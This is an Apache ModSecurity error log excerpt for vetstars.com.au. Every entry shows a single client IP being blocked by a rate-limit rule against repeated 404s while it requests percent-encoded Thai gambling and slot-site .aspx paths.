[Tue Jan 27 18:17:26.906671 2026] [:error] [pid 48445:tid 48455] [client 217.182.195.179:51782] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXiQthFh_QNUhZ0HkzfMGgAAAYY"]
[Tue Jan 27 18:17:29.397583 2026] [:error] [pid 38987:tid 38993] [client 217.182.195.179:39486] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202020%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXiQuaTH0bU76Ifu_XceCwAAAAM"]
[Tue Jan 27 18:17:32.033854 2026] [:error] [pid 48412:tid 48431] [client 217.182.195.179:39488] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%202024.aspx"] [unique_id "aXiQvHbJMfAKlln88JHgJAAAAVE"]
[Tue Jan 27 18:17:34.664097 2026] [:error] [pid 7561:tid 7578] [client 217.182.195.179:39498] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXiQvrXGI6mgvHQqkXzL2AAAAM4"]
[Tue Jan 27 18:17:37.155558 2026] [:error] [pid 48446:tid 48489] [client 217.182.195.179:39510] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B9%81%E0%B8%84%E0%B9%88%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiQwcDRSaZ8F8aaLxmHrQAAAcw"]
[Tue Jan 27 18:17:39.785528 2026] [:error] [pid 48446:tid 48485] [client 217.182.195.179:49982] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXiQw8DRSaZ8F8aaLxmHsQAAAcg"]
[Tue Jan 27 18:17:42.399391 2026] [:error] [pid 7561:tid 7582] [client 217.182.195.179:49994] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXiQxrXGI6mgvHQqkXzL2wAAANI"]
[Tue Jan 27 18:17:45.044727 2026] [:error] [pid 48631:tid 48644] [client 217.182.195.179:50000] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiQySN5eesHzEogX0wzAwAAAks"]
[Tue Jan 27 18:17:47.661664 2026] [:error] [pid 7453:tid 7491] [client 217.182.195.179:50014] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%81%E0%B8%84%E0%B9%88%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3.aspx"] [unique_id "aXiQyxfsyA2ws_ADquiIuwAAAEI"]
[Tue Jan 27 18:17:50.274398 2026] [:error] [pid 39017:tid 39069] [client 217.182.195.179:41458] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C2021.aspx"] [unique_id "aXiQzs553xt-F_10bG6RxQAAAxU"]
[Tue Jan 27 18:17:52.892908 2026] [:error] [pid 48446:tid 48482] [client 217.182.195.179:41468] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXiQ0MDRSaZ8F8aaLxmHwQAAAcU"]
[Tue Jan 27 18:17:55.502776 2026] [:error] [pid 7561:tid 7579] [client 217.182.195.179:41480] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5188.aspx"] [unique_id "aXiQ07XGI6mgvHQqkXzL3gAAAM8"]
[Tue Jan 27 18:17:58.102810 2026] [:error] [pid 48662:tid 48680] [client 217.182.195.179:41490] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXiQ1uD8iESUP9uRiRPltQAAAow"]
[Tue Jan 27 18:18:43.504307 2026] [:error] [pid 39016:tid 39039] [client 217.182.195.179:33974] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXiRA_B6_y9crthwy8qbpAAAAtI"]
[Tue Jan 27 18:18:46.006128 2026] [:error] [pid 48446:tid 48489] [client 217.182.195.179:38670] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%84%E0%B8%99%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B9%80%E0%B8%A2%E0%B8%AD%E0%B8%B0%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiRBsDRSaZ8F8aaLxmH4gAAAcw"]
[Tue Jan 27 18:18:48.596829 2026] [:error] [pid 39017:tid 39051] [client 217.182.195.179:38686] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXiRCM553xt-F_10bG6R7QAAAwM"]
[Tue Jan 27 18:18:51.192614 2026] [:error] [pid 48662:tid 48670] [client 217.182.195.179:37160] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9B%E0%B8%B1%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXiRC-D8iESUP9uRiRPl1gAAAoI"]
[Tue Jan 27 18:18:53.786410 2026] [:error] [pid 7454:tid 7536] [client 217.182.195.179:37162] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C%20ufabet.aspx"] [unique_id "aXiRDZltCoZEfMmfl8APoQAAAJQ"]
[Tue Jan 27 18:18:56.382949 2026] [:error] [pid 48528:tid 48533] [client 217.182.195.179:37166] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXiREAOGRrquT9N7CZpnzQAAAgM"]
[Tue Jan 27 18:18:58.975362 2026] [:error] [pid 39016:tid 39031] [client 217.182.195.179:53738] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99.aspx"] [unique_id "aXiREvB6_y9crthwy8qbrgAAAso"]
[Tue Jan 27 18:19:01.413857 2026] [:error] [pid 38987:tid 38999] [client 217.182.195.179:53750] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXiRFaTH0bU76Ifu_XcePQAAAAk"]
[Tue Jan 27 18:19:04.005080 2026] [:error] [pid 39017:tid 39061] [client 217.182.195.179:53754] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168%20%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXiRGM553xt-F_10bG6R8wAAAw0"]
[Tue Jan 27 18:19:06.619759 2026] [:error] [pid 7454:tid 7527] [client 217.182.195.179:53762] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20456%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXiRGpltCoZEfMmfl8APqQAAAIs"]
[Tue Jan 27 18:19:09.211843 2026] [:error] [pid 38987:tid 39006] [client 217.182.195.179:46822] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXiRHaTH0bU76Ifu_XceQgAAABA"]
[Tue Jan 27 18:19:11.817310 2026] [:error] [pid 48446:tid 48482] [client 217.182.195.179:46838] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXiRH8DRSaZ8F8aaLxmH7wAAAcU"]
[Tue Jan 27 18:19:14.421113 2026] [:error] [pid 7454:tid 7521] [client 217.182.195.179:46840] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx"] [unique_id "aXiRIpltCoZEfMmfl8APrAAAAIU"]
[Tue Jan 27 18:19:17.012200 2026] [:error] [pid 48412:tid 48420] [client 217.182.195.179:46854] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXiRJXbJMfAKlln88JHgrAAAAUY"]
[Tue Jan 27 18:19:19.602462 2026] [:error] [pid 39017:tid 39057] [client 217.182.195.179:40012] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXiRJ8553xt-F_10bG6SCQAAAwk"]
[Tue Jan 27 18:19:22.199781 2026] [:error] [pid 7454:tid 7517] [client 217.182.195.179:40024] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXiRKpltCoZEfMmfl8APrgAAAIE"]
[Tue Jan 27 18:19:24.640181 2026] [:error] [pid 39017:tid 39071] [client 217.182.195.179:40028] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXiRLM553xt-F_10bG6SDQAAAxc"]
[Tue Jan 27 18:19:27.239236 2026] [:error] [pid 7454:tid 7528] [client 217.182.195.179:40044] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201%20%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%A5%E0%B8%81.aspx"] [unique_id "aXiRL5ltCoZEfMmfl8APsQAAAIw"]
[Tue Jan 27 18:19:29.818799 2026] [:error] [pid 7453:tid 7491] [client 217.182.195.179:35250] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXiRMRfsyA2ws_ADquiJMQAAAEI"]
[Tue Jan 27 18:19:32.410793 2026] [:error] [pid 48662:tid 48668] [client 217.182.195.179:35254] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXiRNOD8iESUP9uRiRPl5gAAAoA"]
[Tue Jan 27 18:19:34.846809 2026] [:error] [pid 48528:tid 48545] [client 217.182.195.179:35266] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx"] [unique_id "aXiRNgOGRrquT9N7CZpn4AAAAg8"]
[Tue Jan 27 18:19:37.431768 2026] [:error] [pid 38987:tid 39006] [client 217.182.195.179:35268] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx"] [unique_id "aXiROaTH0bU76Ifu_XceYQAAABA"]
